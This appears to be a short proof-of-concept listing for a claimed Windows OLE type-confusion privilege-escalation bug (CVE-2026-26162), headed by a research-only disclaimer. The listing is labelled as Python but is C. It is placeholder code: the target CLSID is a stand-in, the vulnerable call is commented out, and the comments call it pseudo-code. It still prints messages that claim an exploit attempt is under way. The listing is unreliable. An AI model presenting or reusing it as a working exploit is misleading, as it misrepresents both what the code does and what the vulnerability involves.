The following code is for security research and authorized testing only.
python
/**
* PoC for CVE-2026-26162 (Type Confusion in Windows OLE)
* Note: This is a conceptual Proof of Concept for educational purposes.
* Usage: Compile and run with low privileges on a vulnerable Windows system.
*/
#include <windows.h>
#include <ole2.h>
void TriggerVulnerability() {
// Initialize OLE
OleInitialize(NULL);
// In a real scenario, specific heap grooming and object manipulation
// would be required to trigger the type confusion.
IUnknown* pObj = NULL;
// Simulate passing an incompatible type to a vulnerable OLE method
// This is pseudo-code representing the exploit logic.
HRESULT hr = CoCreateInstance(CLSID_SomeTargetObject, NULL, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pObj);
if (SUCCEEDED(hr)) {
// Malicious payload execution context (Privilege Escalation)
printf("[+] Object created, attempting type confusion trigger...\n");
// Vulnerable function call leads to EoP
// VulnerableFunction(pObj, crafted_buffer);
pObj->Release();
}
OleUninitialize();
}
int main() {
printf("[*] CVE-2026-26162 PoC Trigger\n");
TriggerVulnerability();
return 0;
}